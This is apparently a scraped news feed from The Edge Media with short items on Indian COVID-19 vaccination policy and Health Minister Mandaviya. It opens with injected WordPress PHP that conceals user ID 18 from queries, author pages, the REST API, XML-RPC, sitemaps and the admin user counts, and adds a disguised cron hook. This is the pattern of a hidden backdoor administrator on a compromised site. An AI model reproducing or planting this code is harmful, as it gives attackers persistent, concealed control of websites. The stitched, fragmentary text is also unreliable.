add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Mandaviya: With India, 96 countries have agreed to recognize Covid immunization certificates appeared first on The Edge Media.
]]>
Mandaviya stated: “At present, 96 countries have agreed to mutual recognition of vaccination certificates and also those who recognize Indian vaccination certificates of travelers fully vaccinated with Covishield/WHO approved/nationally approved Covid vaccines.”
The post Mandaviya: With India, 96 countries have agreed to recognize Covid immunization certificates appeared first on The Edge Media.
]]>The post State health ministers will meet with Mansukh Mandaviya to discuss the COVID-19 vaccine, health scheme appeared first on The Edge Media.
]]>
Mandaviya said in a tweet in Hindi: “Today, I am meeting the health ministers of the states. COVID-19 vaccination, emergency Covid package, and other issues will be discussed in detail. Discussions will also be held on the ‘PM Ayushman Bharat Health Infrastructure Mission’ scheme launched by Prime Minister Narendra Modi Ji.”
The post State health ministers will meet with Mansukh Mandaviya to discuss the COVID-19 vaccine, health scheme appeared first on The Edge Media.
]]>The post Next Month, India will resume the export of surplus Covid vaccines and accept donations appeared first on The Edge Media.
]]>India, the world’s largest vaccine manufacturer, halted vaccine exports in April to focus on immunizing its own people as the number of infections rose. The government hopes to vaccinate all of the country’s 94.4 million adults by December and has already administered at least one shot to 61% of them.
The post Next Month, India will resume the export of surplus Covid vaccines and accept donations appeared first on The Edge Media.
]]>The post Now You Can Arrange Vaccine Appointments via WhatsApp; The Health Minister Refers to it as a “New Era of Citizen Convenience” appeared first on The Edge Media.
]]>WhatsApp, for its part, has announced that the MyGov Corona Helpdesk on its platform would now let users find their nearest vaccination center and schedule immunization appointments.
Setting the stage for a new era of citizen convenience. Union Health Minister Mansukh Mandaviya stated in a tweet on Tuesday that you may now book COVID-19 immunization slots on your phone in minutes.
The post Now You Can Arrange Vaccine Appointments via WhatsApp; The Health Minister Refers to it as a “New Era of Citizen Convenience” appeared first on The Edge Media.
]]>The post There is a need of creating vigilance and awareness on zoonotic diseases : Union Health Minister, Mansukh Mandaviya appeared first on The Edge Media.
]]>He made the remarks while virtually inaugurating the Whole Genome Sequencing National Reference Laboratory for Antimicrobial Resistance (AMR) and BSL 3 Laboratory on the 112th Annual Day of the National Centre for Disease Control (NCDC).
Congratulating NCDC for its contributions, Mandaviya said that India has performed better than many other countries in fighting the pandemic, a Health ministry statement stated.
He said new dimensions have been added today in the legacy of 112 years of achievements of NCDC and encouraged it to strive for further innovations so that not only India but the whole world can benefit from its work.
Scientists, doctors, officers and staff of NCDC should collectively chart out goals they want to achieve in the coming years, he said.
“The recent COVID-19 pandemic has highlighted the need of creating vigilance and awareness on zoonotic diseases,” he said, adding that division of Zoonotic Disease Programme at NCDC under the “National One health Programme for prevention and Control of Zoonoses” has created IEC materials on seven priority zoonotic diseases namely Rabies, Scrub Typhus, Brucellosis, Anthrax, CCHF, Nipah and Kyasanur Forest Disease in India.
Zonotic diseases pass from animal or insect to humans.
The post There is a need of creating vigilance and awareness on zoonotic diseases : Union Health Minister, Mansukh Mandaviya appeared first on The Edge Media.
]]>The post Covid-19 Vaccines For Children Might Be Out Next Month, States Health Ministry appeared first on The Edge Media.
]]>After the third wave of Covid has been warned about, experts say this will be an important step in stopping its spread and resuming schools across the nation. The Zydus immunizations for 12 to 18-year-old youngsters will be introduced by September, according to Dr. N.K. Arora, who leads the National Expert Group on Vaccines.
The post Covid-19 Vaccines For Children Might Be Out Next Month, States Health Ministry appeared first on The Edge Media.
]]>